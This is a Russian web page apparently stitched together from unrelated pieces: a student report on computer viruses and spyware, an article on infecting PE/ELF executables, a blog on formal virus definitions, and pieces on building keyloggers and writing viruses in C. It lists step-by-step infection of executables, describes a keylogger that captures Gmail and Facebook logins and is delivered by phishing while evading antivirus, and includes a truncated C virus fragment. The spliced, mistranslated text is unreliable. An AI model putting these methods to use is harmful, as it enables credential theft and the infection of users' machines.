Программирование что такое вирус

Обновлено: 27.03.2024

Понятие, классификация компьютерных вирусов. Описание типов вирусов-шпионов. Интернет и локальные сети (черви). Механизм распространения вредоносного программного обеспечения и методы борьбы с ним. Профилактические мероприятия. Способы решения проблемы.

Рубрика Программирование, компьютеры и кибернетика
Вид реферат
Язык русский
Дата добавления 13.11.2016
Размер файла 30,9 K

Студенты, аспиранты, молодые ученые, использующие базу знаний в своей учебе и работе, будут вам очень благодарны.

Кафедра медицинской информатики и управления в медицинских системах

Реферат по информатике:

Вирусы и борьба с ними

Оглавление

    Введение
    • 1. Понятие вируса
      • 1.1 Что такое вирус
      • 1.2 Классификация вирусов
      • 1.3 Вирусы - шпионы
        • 1.3.1 Типы вирусов-шпионов
        • 1.3.2 Механизм распространения
        • 2.1 Профилактические мероприятия
        • 2.2 Способы решения проблемы

        Введение

        В настоящее время очень многие области деятельности человека связаны с применением компьютеров. Они выполняют рутинную расчетную и оформительскую работу, освобождая наш мозг для более необходимых и ответственных задач. В результате утомляемость резко снижается, и мы начинаем работать гораздо производительнее, нежели без применения компьютера.

        Возможности современных компьютеров поражают самое богатое воображение. Они способны параллельно выполнять несколько задач, сложность которых довольно велика. Поэтому некоторые производители задумываются над созданием искусственного интеллекта. Да и сейчас работа компьютера напоминает работу интеллектуального электронного помощника человека.

        Но кто бы мог подумать, что этому электронному чуду техники свойственны болезни похожие на человеческие.

        Он, так же как и человек может подвергнуться атаке "вируса" но компьютерного. И если не принять мер, компьютер скоро "заболеет" т.е. начнет выполнять неправильные действия или вообще "умрет" т.е. повреждения нанесенные "вирусом" окажутся очень серьезными. О том что такое компьютерные вирусы и как с ними бороться пойдет речь далее.

        1. Понятие вируса

        1.1 Что такое вирус

        Компьютерный вирус - вид вредоносного программного обеспечения, способного создавать копии самого себя и внедряться в код других программ, системные области памяти, загрузочные секторы, а также распространять свои копии по разнообразным каналам связи.

        Как правило, целью вируса является нарушение работы программно-аппаратных комплексов: удаление файлов, приведение в негодность структур размещения данных, блокирование работы пользователей или же приведение в негодность аппаратных комплексов компьютера и т. п. Даже если автор вируса не запрограммировал вредоносных эффектов, вирус может приводить к сбоям компьютера из-за ошибок, неучтённых тонкостей взаимодействия с операционной системой и другими программами. Кроме того, вирусы, как правило, занимают место на накопителях информации и потребляют некоторые другие ресурсы системы.

        Следует заметить, что тексты программ и документов, информационные файлы без данных, таблицы табличных процессоров и другие аналогичные файлы не могут быть заражены вирусом, он может их только испортить.

        Признаки проявления вируса

        При заражении компьютера вирусом можно обнаружить следующие признаки:

        · прекращение работы или неправильная работа ранее успешно функционировавших программ;

        · медленная работа компьютера;

        · невозможность загрузки операционной системы;

        · исчезновение файлов и каталогов или искажение их содержимого;

        · изменение даты и времени модификации файлов;

        · изменение размеров файлов;

        · неожиданное значительное увеличение количества файлов на диске;

        · существенное уменьшение размера свободной оперативной памяти;

        · подача непредусмотренных звуковых сигналов;

        · частые зависания и сбои в работе компьютера.

        Следует отметить, что вышеперечисленные явления необязательно вызываются присутствием вируса, а могут быть следствием других причин. Поэтому всегда затруднена правильная диагностика состояния компьютера.

        1.2 К лассификация вирусов

        В настоящее время не существует единой системы классификации и именования вирусов (хотя попытка создать стандарт была предпринята на встрече CARO в 1991 году). Принято разделять вирусы:

        · по поражаемым объектам (файловые вирусы, загрузочные вирусы, сценарные вирусы, макровирусы, вирусы, поражающие исходный код):

        · по поражаемым операционным системам и платформам (DOS, Windows, Unix, Linux, Android);

        · по технологиям, используемым вирусом (полиморфные вирусы, стелс-вирусы, руткиты);

        · по языку, на котором написан вирус (ассемблер, высокоуровневый язык программирования, сценарный язык и др.);

        · по дополнительной вредоносной функциональности (бэкдоры, кейлоггеры, шпионы, ботнеты и др.).

        Наиболее подробно мы будем рассматривать вирусы - шпионы.

        1.3 Вирусы - шпионы

        Spyware (шпионское программное обеспечение, программа-шпион) -- программа, которая скрытным образом устанавливается на компьютер с целью сбора информации о конфигурации компьютера, пользователе, пользовательской активности без согласия последнего. Также могут производить другие действия: изменение настроек, установка программ без ведома пользователя, перенаправление действий пользователя

        Spyware могут осуществлять широкий круг задач, например:

        · собирать информацию о привычках пользования Интернетом и наиболее часто посещаемые сайты (программа отслеживания);

        · запоминать нажатия клавиш на клавиатуре (кейлоггеры) и записывать скриншоты экрана (screen scraper) и в дальнейшем отправлять информацию создателю spyware;

        · несанкционированно и удалённо управлять компьютером (remote control software) -- бэкдоры, ботнеты, droneware;

        · инсталлировать на компьютер пользователя дополнительные программы;

        · использоваться для несанкционированного анализа состояния систем безопасности (security analysis software) -- сканеры портов и уязвимостей и взломщики паролей;

        · изменять параметры операционной системы (system modifying software) -- руткиты, перехватчики управления (hijackers) и пр. -- результатом чего является снижение скорости соединения с Интернетом или потеря соединения как такового, открывание других домашних страниц или удаление тех или иных программ;

        · перенаправлять активность браузеров, что влечёт за собой посещение веб-сайтов вслепую с риском заражения вирусами.

        1.3.1 Типы вирусов-шпионов

        По виду деятельности, Вирусы - шпионы можно разделить на три группы:

        Вирус все время следит за действиями пользователя. При совершении покупок через интернет, шпион получит сведения о кредитной карте и передаст их заинтересованным лицам. Вы можете этого не заметить, пока не произойдет не санкционированное списание денежных средств с вашего счёта.

        Вирусы, которые дают доступ к информации и компьютеру посторонним лицам (хакерам). Проникнув в компьютер, хакер сможет менять настройки ваших программ, незаметно установить свое программное обеспечение и даже отслеживать нажатия клавиш клавиатуры. Вредоносные программы собирают номера ваших банковских карт, логины и пароли к различным сервисам (например, к электронной почте, учетным записям в социальных сетях и т.д.). Эта проблема решается с помощью специальных программ для удаления spyware-программ. Перед использованием таких программ нужно очень внимательно все о них узнать, почитать отзывы в сети, так как некоторые могут навредить больше, чем принести пользы.

        Вирус получает информацию о ваших электронных почтовых ящиках. Это грозит множеством проблем, самая маленькая их которых - это обрушившаяся на Вас лавина спама, мусорных и рекламных электронных писем.

        Также существует определенный механизм распространения вируса.

        1.3.2 Механизм распространения

        Вирусы распространяются, копируя своё тело и обеспечивая его последующее исполнение: внедряя себя в исполняемый код других программ, заменяя собой другие программы, прописываясь в автозапуск и другое. Вирусом или его носителем могут быть не только программы, содержащие машинный код, но и любая информация, содержащая автоматически исполняемые команды -- например, пакетные файлы и документы Microsoft Word и Excel, содержащие макросы. Кроме того, для проникновения на компьютер вирус может использовать уязвимости в популярном программном обеспечении (например, Adobe Flash, Internet Explorer, Outlook), для чего распространители внедряют его в обычные данные (картинки, тексты и т. д.) вместе с эксплоитом, использующим уязвимость.

        · Дискеты. Самый распространённый канал заражения в 1980--1990-е годы. Сейчас практически отсутствует из-за появления более распространённых и эффективных каналов и отсутствия флоппи-дисководов на многих современных компьютерах.

        · Флеш-накопители (флешки). В настоящее время USB-флешки заменяют дискеты и повторяют их судьбу -- большое количество вирусов распространяется через съёмные накопители, включая цифровые фотоаппараты, цифровые видеокамеры, портативные цифровые плееры, а с 2000-х годов всё большую роль играют мобильные телефоны, особенно смартфоны (появились мобильные вирусы). Использование этого канала ранее было преимущественно обусловлено возможностью создания на накопителе специального файла autorun.inf, в котором можно указать программу, запускаемую Проводником Windows при открытии такого накопителя. В Windows 7 возможность автозапуска файлов с переносных носителей была отключена.

        · Электронная почта. Обычно вирусы в письмах электронной почты маскируются под безобидные вложения: картинки, документы, музыку, ссылки на сайты. В некоторых письмах могут содержаться действительно только ссылки, то есть в самих письмах может и не быть вредоносного кода, но если открыть такую ссылку, то можно попасть на специально созданный веб-сайт, содержащий вирусный код. Многие почтовые вирусы, попав на компьютер пользователя, затем используют адресную книгу из установленных почтовых клиентов типа Outlook для рассылки самого себя дальше.


        Поговорим о компьютерных вирусах? Нет, не о том, что вчера поймал ваш антивирус. Не о том, что вы скачали под видом инсталлятора очередного Photoshop. Не о rootkit-e, который стоит на вашем сервере, маскируясь под системный процесс. Не о поисковых барах, downloader-ах и другой малвари. Не о коде, который делает плохие вещи от вашего имени и хочет ваши деньги. Нет, всё это коммерция, никакой романтики…

        В общем, для статьи вполне достаточно лирики, перейдем к делу. Я хочу рассказать о классическом вирусе, его структуре, основных понятиях, методах детектирования и алгоритмах, которые используются обеими сторонами для победы.

        Мы будем говорить о вирусах, живущих в исполняемых файлах форматов PE и ELF, то есть о вирусах, тело которых представляет собой исполняемый код для платформы x86. Кроме того, пусть наш вирус не будет уничтожать исходный файл, полностью сохраняя его работоспособность и корректно инфицируя любой подходящий исполняемый файл. Да, ломать гораздо проще, но мы же договорились говорить о правильных вирусах, да? Чтобы материал был актуальным, я не буду тратить время на рассмотрение инфекторов старого формата COM, хотя именно на нем были обкатаны первые продвинутые техники работы с исполняемым кодом.

        Начнём со свойств кода вируса. Чтобы код удобней было внедрять, разделять код и данные не хочется, поэтому обычно используется интеграция данных прямо в исполняемый код. Ну, например, так:


        Все эти варианты кода при определенных условиях можно просто скопировать в память и сделать JMP на первую инструкцию. Правильно написав такой код, позаботившись о правильных смещениях, системных вызовах, чистоте стека до и после исполнения, и т.д., его можно внедрять внутрь буфера с чужим кодом.

        • Куда положить вирус? Необходимо найти достаточно места, чтобы вирус туда поместился, записать его туда, по возможности не разломав файл и так, чтобы в области, в которой вирус окажется, было разрешено исполнение кода.
        • Как передать управление на вирус? Просто положить вирус в файл недостаточно, надо еще совершить переход на его тело, а после завершения его работы вернуть управление программе-жертве. Или в другом порядке, но, в любом случае, мы же договорились не ломать ничего, да?

        Исполняемый файл (PE или ELF) состоит из заголовка и набора секций. Секции – это выровненные (см. ниже) буферы с кодом или данными. При запуске файла секции копируются в память и под них выделяется память, причем совсем необязательно того объёма, который они занимали на диске. Заголовок содержит разметку секций, и сообщает загрузчику, как расположены секции в файле, когда он лежит на диске, и каким образом необходимо расположить их в памяти перед тем, как передать управление коду внутри файла. Для нас интересны три ключевых параметра для каждой секции, это psize, vsize, и flags. Psize (physical size) представляет собой размер секции на диске. Vsize (virtual size) – размер секции в памяти после загрузки файла. Flags – атрибуты секции (rwx). Psize и Vsize могут существенно различаться, например, если программист объявил в программе массив в миллион элементов, но собирается заполнять его в процессе исполнения, компилятор не увеличит psize (на диске содержимое массива хранить до запуска не нужно), а вот vsize увеличит на миллион чего-то там (в runtime для массива должно быть выделено достаточно памяти).

        Флаги (атрибуты доступа) будут присвоены страницам памяти, в которые секция будет отображена. Например, секция с исполняемым кодом будет иметь атрибуты r_x (read, execute), а секция данных атрибуты rw_ (read,write). Процессор, попытавшись исполнить код на странице без флага исполнения, сгенерирует исключение, то же касается попытки записи на страницу без атрибута w, поэтому, размещая код вируса, вирмейкер должен учитывать атрибуты страниц памяти, в которых будет располагаться код вируса. Стандартные секции неинициализированных данных (например, область стека программы) до недавнего времени имели атрибуты rwx (read, write, execute), что позволяло копировать код прямо в стек и исполнять его там. Сейчас это считается немодным и небезопасным, и в последних операционных системах область стека предназначена только для данных. Разумеется, программа может и сама изменить атрибуты страницы памяти в runtime, но это усложняет реализацию.

        Также, в заголовке лежит Entry Point — адрес первой инструкции, с которой начинается исполнение файла.

        Необходимо упомянуть и о таком важном для вирмейкеров свойстве исполняемых файлов, как выравнивание. Для того чтобы файл оптимально читался с диска и отображался в память, секции в исполняемых файлах выровнены по границам, кратным степеням двойки, а свободное место, оставшееся от выравнивания (padding) заполнено чем-нибудь на усмотрение компилятора. Например, логично выравнивать секции по размеру страницы памяти – тогда ее удобно целиком копировать в память и назначать атрибуты. Даже вспоминать не буду про все эти выравнивания, везде, где лежит мало-мальски стандартный кусок данных или кода, его выравнивают (любой программист знает, что в километре ровно 1024 метра). Ну а описание стандартов Portable Executable (PE) и Executable Linux Format (ELF) для работающего с методами защиты исполняемого кода – это настольные книжки.

        • поставить указатель точно на начало какой-нибудь инструкции (просто так взять рандомное место в исполняемой секции и начать дизассемблирование с него нельзя, один и тот же байт может быть и опкодом инструкции, и данными)
        • определить длину инструкции (для архитектуры x86 инструкции имеют разные длины)
        • переместить указатель вперед на эту длину. Мы окажемся на начале следующей инструкции.
        • повторять, пока не решим остановиться
        1. Выбираем вкусный исполняемый файл (достаточно толстый, чтобы в него поместилось тело вируса, с нужным распределением секций и т.п.).
        2. Читаем свой код (код тела вируса).
        3. Берем несколько первых инструкций из файла-жертвы.
        4. Дописываем их к коду вируса (сохраняем информацию, необходимую для восстановления работоспособности).
        5. Дописываем к коду вируса переход на инструкцию, продолжающую исполнение кода-жертвы. Таким образом, после исполнения собственного кода вирус корректно исполнит пролог кода-жертвы.
        6. Создаем новую секцию, записываем туда код вируса и правим заголовок.
        7. На место этих первых инструкций кладем переход на код вируса.

        Думаю, не надо описывать вам компоненты современного антивируса, все они крутятся вокруг одного функционала – антивирусного детектора. Монитор, проверяющий файлы на лету, сканирование дисков, проверка почтовых вложений, карантин и запоминание уже проверенных файлов – все это обвязка основного детектирующего ядра. Второй ключевой компонент антивируса – пополняемые базы признаков, без которых поддержание антивируса в актуальном состоянии невозможно. Третий, достаточно важный, но заслуживающий отдельного цикла статей компонент – мониторинг системы на предмет подозрительной деятельности.

        Итак (рассматриваем классические вирусы), на входе имеем исполняемый файл и один из сотни тысяч потенциальных вирусов в нем. Давайте детектировать. Пусть это кусок исполняемого кода вируса:

        • сокрытие кода самого вируса;
        • сокрытие его точки входа.

        Сокрытие точки входа (Entry Point Obscuring) в результате послужило толчком для появления в вирусных движках автоматических дизассемблеров для определения, как минимум, инструкций перехода. Вирус старается скрыть место, с которого происходит переход на его код, используя из файла то, что в итоге приводит к переходу: JMP, CALL, RET всякие, таблицы адресов и т.п. Таким образом, вирус затрудняет указание смещения сигнатуры.

        Гораздо более подробно некоторые алгоритмы таких движков и детектора мы посмотрим во второй статье, которую я планирую написать в ближайшее время.

        Рассмотренный в статье детектор легко детектирует неполиморфные (мономорфными их назвать, что ли) вирусы. Ну а переход к полиморфным вирусам является отличным поводом, наконец, завершить эту статью, пообещав вернуться к более интересным методам сокрытия исполняемого кода во второй части.


        В первом, втором и третьем выпусках блога мы рассказали о том, как автопрограммируемость — врожденная черта фон-неймановских компьютеров — привела к появлению в них вирусов. Темой четвертого выпуска был основополагающий метод антивирусной защиты — многоуровневое фиксирование программ на основе разделения программ и данных. Этот метод считается наиболее надежным из всех существующих. Была показана его взаимосвязь с другими основными методами.

        Определение вируса по Коэну

        В своей книге 1985 года и диссертации 1986 года Коэн дал уже строгое определение вируса, в котором сконцентрировался на его единственном свойстве — рекурсивной репликации. Определение было дано только для абстрактной модели, основанной на машине Тьюринга (заметим, что реальный компьютер обычно имеет меньшую предсказуемость, чем его идеальная модель). Никакие другие свойства, кроме рекурсивной репликации, в модели Коэна не рассматриваются. То есть это хорошая модель частного случая рекурсивно воспроизводимых алгоритмов, но плохая модель реальных компьютерных вирусов — особенно с учетом наблюдаемого многообразия их типов и необязательности строгой рекурсии для распространения.

        Но модель вируса по Коэну стала классической, потому что оказалась простой, наглядной и учитывающей роль исполняющей среды, что необходимо для понимания сути проблемы. В этой модели, чтобы определить, является ли вирусом изучаемый информационный объект (конечная последовательность символов, программа, код), его надо рассматривать исключительно в контексте машины-среды, в паре с ней и во взаимодействии с ней — на столько тактов вперед, сколько займет исполнение кода машиной. Вирус был определен как код, исполнение которого приведет к записи копии этого кода на ленту машины Тьюринга впереди по ходу исполнения, т.е. в будущем.

        Но для машины Тьюринга (как доказал в 1936 году ее автор) невозможно предсказать будущее. Для произвольного кода непредсказуем результат его выполнения, т.е. последовательность состояний машинной ленты (памяти) на неограниченное число тактов вперед. Единственный способ выяснить, чем закончится выполнение этого кода — проверить на практике. Иными словами, чтобы выяснить, является ли изучаемый код вирусом, его надо запустить и посмотреть, что будет. С учетом неизвестности результата, в реальной системе это небезопасно. Кроме того, время ожидания выполнения кода может оказаться сколь угодно большим (бесконечным). А без информации о том, к чему приведет запуск кода, нельзя судить о том, является ли он вирусом.

        Обратите внимание, что анализ кода без его запуска невозможен даже с самой удобной позиции — внешнего наблюдателя, не ограниченного в средствах для изучения машины и кода, которые находятся в исходных статичных состояниях. Тем более не может быть и речи об анализе кода без его запуска средствами самой машины, как и об анализе кода в процессе исполнения машиной другого кода.

        Кроме неутешительного вывода о невозможности надежного распознавания вирусов в своей модели, Коэн доказал следующее:
        a) к произвольному коду всегда можно подобрать такую машину, которая интерпретирует его как вирус; например, для какой-то машины вирусом будет код из одного байта — 42;
        b) некоторые машины любой код интерпретируют как вирус;
        c) некоторые машины никакой код не интерпретируют как вирус.

        Определение вируса по Адлеману

        В работе Адлемана нам представляются особенно важными два момента. Во-первых, в качестве стратегического — и, по сути, единственного — средства защиты от вирусов он совершенно верно назвал полную и безусловную изоляцию компьютера, т.е. закрытость среды (что касается альтернативных способов защиты, в работе лишь поставлен вопрос о том, насколько они реальны). Во-вторых, ученый показал необходимость привлечения понятия исходной, незараженной программы в качестве обязательного условия определения вируса.

        Определение вируса по нарушению кода

        Невозможность надежного распознавания вирусов в рамках классических моделей дает повод задуматься о подходе к решению проблемы с другой стороны.

        Но можно поступить наоборот: поставить целью практическую применимость определения вируса для простого и гарантированного решения задачи его распознавания — и для комплексного решения проблемы цифровых инфекций в целом. Затем, используя это определение, можно выяснить, какая модель вируса ему соответствует.

        Для целей информационной безопасности самым удобным будет строго формализованное, соразмерное и системное определение, которое позволяет легко выполнять оценку соответствия ему произвольных информационных объектов. Процедура сравнения свойств каждого исследуемого объекта с определением должна иметь форму короткого, надежного и хорошо контролируемого алгоритма, чтобы ее можно было автоматизировать и применять на практике.

        Строгое определение для обычной SISD-машины, которое можно адаптировать и для более широкого круга информационных систем, формулируется так: компьютерный вирус — это измененная по сравнению с эталоном часть кода.

        Используя на практике модель, соответствующую приведенному определению вируса, вы перестраховываетесь и уходите в глубокую и очень надежную оборону. Вместо анализа неизвестного кода для точного ответа на вопрос о возможности инициирования им рекурсивной репликации, вы исходите из того, что такая возможность не исключена. Вместо анализа неизвестного кода для точного ответа на вопрос о его вредоносности, вы исходите из того, что внесение в охраняемый код любого, даже самого малого изменения с некоторой вероятностью вызывает нарушение его функций — точно так же, как нарушение функций биологической ДНК может быть вызвано замещением единственного нуклеотида в последовательности.

        Для удобства решения многих практических задач в сложных информационных системах определение можно расширить на те области данных, которые должны иметь в системе такую же неприкосновенность, как исполняемый код. В общем случае, зараженным объявляется любой охраняемый информационный объект, в границы которого попал другой объект.

        Заметим, что при отсутствии эталона для произвольного кода весь этот код по данному определению считается вирусом. Хотя это непривычно звучит, это надо хорошо понять и всегда иметь в виду. О том, откуда берется эталон, мы поговорим в следующих выпусках блога: для этого понадобится привлечение социальных факторов.

        Какое из определений вируса лучше?

        Сравните подходы, используемые в различных моделях и определениях вируса.

        Вирус — это:
        a) соответствующая определенным критериям функция, отображающая эталонный, незараженный объект на отличающийся от него зараженный объект;
        b) любая функция, отображающая эталонный, незараженный объект на отличающийся от него зараженный объект.

        Для распознавания вируса в проверяемом объекте нужно:
        a) провести полное аналитическое или алгоритмическое изучение свойств и поведения системы, состоящей из проверяемого объекта и машины (среды);
        b) определить местоположение проверяемого объекта в машине (среде).

        Определение вируса основано на:
        a) свойстве рекурсивной репликации;
        b) методе сравнения образца с эталоном.

        Более того: в реальном вирусе может не содержаться даже этой информации — в буквальном смысле! Вместо нее вирус, например, может включать в себя сколь угодно сложный криптоалгоритм, а ключом к этому алгоритму может служить произвольная комбинация объектов среды, способная появиться в ней в неопределенном будущем. Это означает, что до некоторого неизвестного момента, до выполнения средой некоторого неизвестного при анализе условия принципиальное отсутствие в коде вируса каких-либо связей с понятиями как репликации, так и рекурсии можно гарантировать с точностью математического доказательства. Но даже в этом случае вирус, слившийся в свойствах со средой и образовавший с ее элементами сложную, распределенную в пространстве и времени систему, сохраняет возможность размножения кода.

        Таким образом, в современных больших информационных системах формализация и поиск признаков рекурсивной репликации в отдельных объектах представляются бесполезными даже с теоретической точки зрения. А рассматривать каждый объект в совокупности со всей средой — невозможно. Если в качестве входных данных для анализа единичного объекта требуется подстановка в абстрактную формулу полной информации о состоянии практически бесконечной (из-за огромного размера и перманентной изменчивости) среды — значит, выбран тупиковый путь. Ранее мы уже показали, что Интернет является единой автопрограммируемой средой, единой вычислительной системой, события в которой могут менять код в отдельно взятом системном блоке. Поэтому все эти события должны учитываться в формальном определении вируса, если оно основано на свойствах кода — как в абстрактной модели, так и на практике. И то, и другое исключено.

        В условиях глобальной сети, где возможны неограниченные комбинации прямых и обратных связей между элементами, очевидны и давно применяются методы массовой репликации кода, не имеющие отношения к классическим, рекурсивным. Если опасный код заражает произвольный системный блок этой сети, то не имеет значения, является ли это заражение рекурсивным — или же дочерний код сформирован родительским по гораздо более сложному алгоритму. Алгоритм может быть любым. А на основе неизвестного алгоритма нельзя строить какие-либо точные модели, применимые на практике.

        Не следует забывать, что в реальных вычислительных системах вирусы программируются (т.е. управляются) людьми. А все то, что управляется человеком, почти не поддается формализации.

        Из изложенного следует вывод, что формальное определение компьютерного вируса, основанное не на признаке рекурсивной репликации, а на принципиально иных признаках, во многих случаях может оказаться наилучшим.

        Это не значит, что понятие рекурсивной функции перестало иметь значение в контексте вирусов. Оно остается крайне важным, хотя и не может рассматриваться как определяющее. Оно не позволяет точно позиционировать цель, явление, предмет угрозы и ее смысловую сущность с использованием приемлемого математического аппарата. Поэтому лучше всегда иметь в виду альтернативы. Отчетливое понимание специалистом по информационной безопасности нескольких разных определений вируса, соответствующих им теоретических моделей и аспектов антивирусной защиты дает наибольшие возможности для решения практических задач.

        P.S. Конечно, возможны и другие определения, кроме приведенных в статье. Их можно поискать в Сети или создать самостоятельно. Главное, что надо при этом помнить: по нормам формальной логики грамотное определение должно позволять, как минимум, определить искомый объект в ряду других :)

        image

        Хакерский мир можно условно разделить на три группы атакующих:

        Может ли кто-то с хорошими навыками в программировании стать последним? Не думаю, что вы начнете создавать что-то, на подобии regin (ссылка) после посещения нескольких сессий DEFCON. С другой стороны, я считаю, что сотрудник ИБ должен освоить некоторые концепты, на которых строится вредоносное ПО.

        Зачем ИБ-персоналу эти сомнительные навыки?

        Знай своего врага. Как мы уже обсуждали в блоге Inside Out, нужно думать как нарушитель, чтобы его остановить. Я – специалист по информационной безопасности в Varonis и по моему опыту – вы будете сильнее в этом ремесле если будете понимать, какие ходы будет делать нарушитель. Поэтому я решил начать серию постов о деталях, которые лежат в основе вредоносного ПО и различных семействах хакерских утилит. После того, как вы поймете насколько просто создать не детектируемое ПО, вы, возможно, захотите пересмотреть политики безопасности на вашем предприятии. Теперь более подробно.

        Кейлогер – это ПО или некое физическое устройство, которое может перехватывать и запоминать нажатия клавиш на скомпрометированной машине. Это можно представить как цифровую ловушку для каждого нажатия на клавиши клавиатуры.
        Зачастую эту функцию внедряют в другое, более сложное ПО, например, троянов (Remote Access Trojans RATS), которые обеспечивают доставку перехваченных данных обратно, к атакующему. Также существуют аппаратные кейлогеры, но они менее распространены, т.к. требуют непосредственного физического доступа к машине.

        Тем не менее создать базовые функции кейлогера достаточно легко запрограммировать. ПРЕДУПРЕЖДЕНИЕ. Если вы хотите попробовать что-то из ниже следующего, убедитесь, что у вас есть разрешения, и вы не несёте вреда существующей среде, а лучше всего делать это все на изолированной ВМ. Далее, данный код не будет оптимизирован, я всего лишь покажу вам строки кода, которые могут выполнить поставленную задачу, это не самый элегантный или оптимальный путь. Ну и наконец, я не буду рассказывать как сделать кейлогер стойким к перезагрузкам или пытаться сделать его абсолютно не обнаружимым благодаря особым техникам программирования, так же как и о защите от удаления, даже если его обнаружили.

        Вы можете изучить больше про фунцию GetAsyncKeyState на MSDN:

        Для понимания: эта функция определяет нажата клавиш или отжата в момент вызова и была ли нажата после предыдущего вызова. Теперь постоянно вызываем эту функцию, чтобы получать данные с клавиатуры:

        Умный кейлогер

        Погодите, а есть ли смысл пытаться снимать всю подряд информацию со всех приложений?
        Код выше тянет сырой ввод с клавиатуры с любого окна и поля ввода, на котором сейчас фокус. Если ваша цель – номера кредитных карт и пароли, то такой подход не очень эффективен. Для сценариев из реального мира, когда такие кейлогеры выполняются на сотнях или тысячах машин, последующий парсинг данных может стать очень долгим и по итогу потерять смысл, т.к. ценная для взломщика информация может к тому времени устареть.

        Давайте предположим, что я хочу заполучить учетные данные Facebook или Gmail для последующей продажи лайков. Тогда новая идея – активировать кейлоггинг только тогда, когда активно окно браузера и в заголовке страницы есть слово Gmail или facebook. Используя такой метод я увеличиваю шансы получения учетных данных.

        Вторая версия кода:

        Этот фрагмент будет выявлять активное окно каждые 100мс. Делается это с помощью функции GetForegroundWindow (больше информации на MSDN). Заголовок страницы хранится в переменной buff, если в ней содержится gmail или facebook, то вызывается фрагмент сканирования клавиатуры.

        Этим мы обеспечили сканирование клавиатуры только когда открыто окно браузера на сайтах facebook и gmail.

        Еще более умный кейлогер

        Давайте предположим, что злоумышленник смог получить данные кодом, на подобии нашего. Так же предположим, что он достаточно амбициозен и смог заразить десятки или сотни тысяч машин. Результат: огромный файл с гигабайтами текста, в которых нужную информацию еще нужно найти. Самое время познакомиться с регулярными выражениями или regex. Это что-то на подобии мини языка для составления неких шаблонов и сканирования текста на соответствие заданным шаблонам. Вы можете узнать больше здесь.

        Для упрощения, я сразу приведу готовые выражения, которые соответствуют именам логина и паролям:

        Где первое выражение (re) будет соответствовать любой электронной почте, а второе (re2) любой цифро буквенной конструкции больше 6 символов.

        Бесплатно и полностью не обнаружим

        В своем примере я использовал Visual Studio – вы можете использовать свое любимое окружение – для создания такого кейлогера за 30 минут.
        Если бы я был реальным злоумышленником, то я бы целился на какую-то реальную цель (банковские сайты, соцсети, тп) и видоизменил код для соответствия этим целям. Конечно, также, я запустил бы фишинговую кампанию с электронными письмами с нашей программой, под видом обычного счета или другого вложения.

        Остался один вопрос: действительно такое ПО будет не обнаруживаемым для защитных программ?

        Я скомпилировал мой код и проверил exe файл на сайте Virustotal. Это веб-инструмент, который вычисляет хеш файла, который вы загрузили и ищет его в базе данных известных вирусов. Сюрприз! Естественно ничего не нашлось.

        image

        В этом основная фишка! Вы всегда можете менять код и развиваться, будучи всегда на несколько шагов раньше сканеров угроз. Если вы в состоянии написать свой собственный код он почти гарантированно будет не обнаружим. На этой странице вы можете ознакомиться с полным анализом.

        Основная цель этой статьи – показать, что используя одни только антивирусы вы не сможете полностью обеспечить безопасность на предприятии. Нужен более глубинная оценка действий всех пользователей и даже сервисов, чтобы выявить потенциально вредоносные действия.

        В следующих статья я покажу, как сделать действительно не обнаружимую версию такого ПО.

        Вредоносное ПО может быть первой проблемой компьютерной безопасности, которая затрагивает нас, поэтому вирусы очень важны для информационной безопасности.

        Чтобы бороться с вирусом, мы должны понять вирус.

        Написание вирусов - хороший способ.

        На самом деле вирусы мало чем отличаются от обычных программ, и они обычно относительно просты, а не так сложны, как многие программы. Просто вирус использует некоторые технологии, которые обычно не используются в обычных программах.


        Чтобы скомпилировать вирус, мы должны сначала знать механизм работы вируса.

        Независимо от типа вируса, он обычно делится по структуре на три функциональных модуля: механизм заражения, механизм запуска и полезная нагрузка.

        В структуре вируса первой и единственной необходимой частью является механизм заражения. Вирусы сначала должны иметь возможность воспроизводить свой собственный код, что является основной причиной, по которой вирусы становятся вирусами.

        причина. Мы можем использовать кусок псевдокода C-подобного типа для представления этого процесса.

        Вторым важным компонентом вируса является событие запуска полезной нагрузки. После того, как вирус попадает на ваш компьютер, он вряд ли ударит сразу, иначе он не распространится далеко. Скрытый враг всегда лучше, чем враг, которого вы видите намного опаснее.Вирусы обычно срабатывают после обнаружения определенного количества зараженных тел, определенной даты или времени и определенного абзаца текста.

        Простой спусковой механизм может работать так:

        2. Язык вируса

        Наиболее распространенными языками для компиляции вирусов являются ассемблер, VB, язык C и т. Д. Мы можем взглянуть на основы обучения написанию вирусов:

        1) .Win32 программирование, процесс, поток, память и т. Д.

        2) 32-битная сборка, в основном использование инструкций. 386 сборки более чем достаточно.

        3) .PE формат, если у вас есть энергия, вы также можете посмотреть форматы файлов других файлов, которые могут быть заражены.

        4) .Технология отладки. VC, TD32, SoftIce и др.

        Есть действительно много вещей, которые нужно освоить, и я никогда не слышал об этом раньше. Это очень страшно. Но на самом деле, хотя мы мало знаем о принципах работы компьютеров и операционных систем,

        На других языках, если у нас есть определенное представление о функциях библиотеки C, мы можем написать что-то похожее на вирус.

        Три используют C для компиляции вирусов


        Редактор рекомендует место с супер обучающей атмосферой, юбка пингвина обмена C / C ++: 870963251! Подходит для студентов колледжа Сяобай, которые хотят сменить карьеру и присоединиться к этому поиску работы. В юбке много учебных материалов, есть великие боги, которые отвечают на вопросы общения, и есть бесплатные живые курсы каждую ночь

        Возьмем, к примеру, TurboC2.0. Его библиотечная функция может реализовывать множество функций.

        Например, следующие две функции:

        1) Функции .findfirst и findnext: в dir.h. findfirst используется для поиска файлов различных типов и может получить имя файла, длину файла, атрибуты файла и т.д., findnext и findfirst используются вместе для поиска следующего файла того же типа.

        2) .remove функция: в stdio.h. Если вы знаете имя файла, вы можете удалить любой тип файла

        Здесь я даю вам небольшой вирус, написанный на языке C (не думайте делать плохие вещи)

        Примеры разработки вирусных программ на языке Си

        Код:

        // Подключаем заголовочный файл

        // Копируем файловый модуль

        int copyfile (char *infile, char *outfile)

        FILE * in, * out; // определяем указатель файла

        in = fopen (infile, "r"); // Открываем файл

        out = fopen (outfile, "w"); // Создаем файл

        while (! feof (in)) // Проверяем, закончился ли файл

        fputc (fgetc (in), out); // Считываем символ от входа к выходу

        fclose (in); // Закрываем входящий файл

        fclose (out); // Закрываем выходной файл

        return 0; // возврат

        int MakeRubbish (void)

        int i; // Объявить целочисленную переменную i

        FILE * fp; // Указатель на файл fp

        char * path; // Указатель пути

        char * disk [7] = ; // Инициализируем массив указателей

        char tempname [] = "XXXXXX"; // Случайное имя

        NewName = mktemp (tempname); // Создаем уникальное имя файла

        fp = fopen (NewName, "w"); // Создаем текстовый файл

        fclose (fp); // Закрываем файловый поток fp

